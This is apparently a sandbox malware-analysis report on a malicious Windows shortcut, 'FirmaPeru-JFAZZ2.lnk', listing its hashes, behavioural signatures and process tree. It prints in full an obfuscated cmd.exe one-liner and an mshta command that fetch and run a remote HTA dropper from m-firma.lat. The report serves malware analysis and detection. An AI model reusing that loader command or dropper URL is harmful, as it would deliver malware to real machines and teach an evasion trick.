Analysis
- max time kernel
40s - max time network
23s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 20:11
Static task
static1
Behavioral task
behavioral1
Sample
FirmaPeru-JFAZZ2.lnk
Resource
win10v2004-20260513-en
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
FirmaPeru-JFAZZ2.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
40 seconds
General
- Target FirmaPeru-JFAZZ2.lnk
- Size 2KB
- Sample260803-yx9wesar4y
- SHA256 539dcf51e9d131cf527624fe3875b5f075b8c68c187926779803f5452c21c97d
- MD5 3c86daa98c50d85c452101dd53bb159f
- SHA1 40feae94d1350fa3c9a1a35e96c35e7911a22993
- SHA512 736b458837dadbed9162d6a92a15c981c760c509008bc582e751cc3c65dd5e6dd8ffa347d8fe2d8828d0d76f839dc7b60ee3a3b0af6d34a264695e4adfec0787
- TLSH T1DD41458429DE90D8F3BB9E77C8FDA30100BB79216DB3C68D0D50C18D0921301E977B22
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://m-firma.lat/h/estagio1.php?r=261A6CF54682
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4304 cmd.exe 2368 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4304 wrote to memory of 2368 4304 cmd.exe 90 PID 2368 wrote to memory of 5748 2368 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\FirmaPeru-JFAZZ2.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4304 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /v:on /C "set WC=netmktqhyehnqnet&&set CH=sysgvrqtesys&&set ajPO=spmmjx&&set aQ=2tshs&&set YHr=es8taqjs&&set fZK=tmpesmetmp&&set ig=dbgdnmiaxehdbg&&set FBh=cfgcqdjcfg&&set Er=idvsgve&&set VbVh=9tartm&&set YJse=wingedovtzmguriebsteaawin&&set Eji=tmpyudjdmkmqtmp&&set AkxmT=tmptctbtmp&&set mxPt=winjvuhneztzsqwqratepwin&&set dIZ=bakctjqdhebak&&set wiBbW=h@t@tps@://m-@firma.@lat@/@h@/e@sta@gio1.@php?@r=2@61A@6@CF546@82&&start /b !ajPO:~2,1!!aQ:~2,2!!YHr:~3,2! !wiBbW:@=!&&set fPu=done"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Windows\System32\mshta.exemshta https://m-firma.lat/h/estagio1.php?r=261A6CF546823⤵PID:5748
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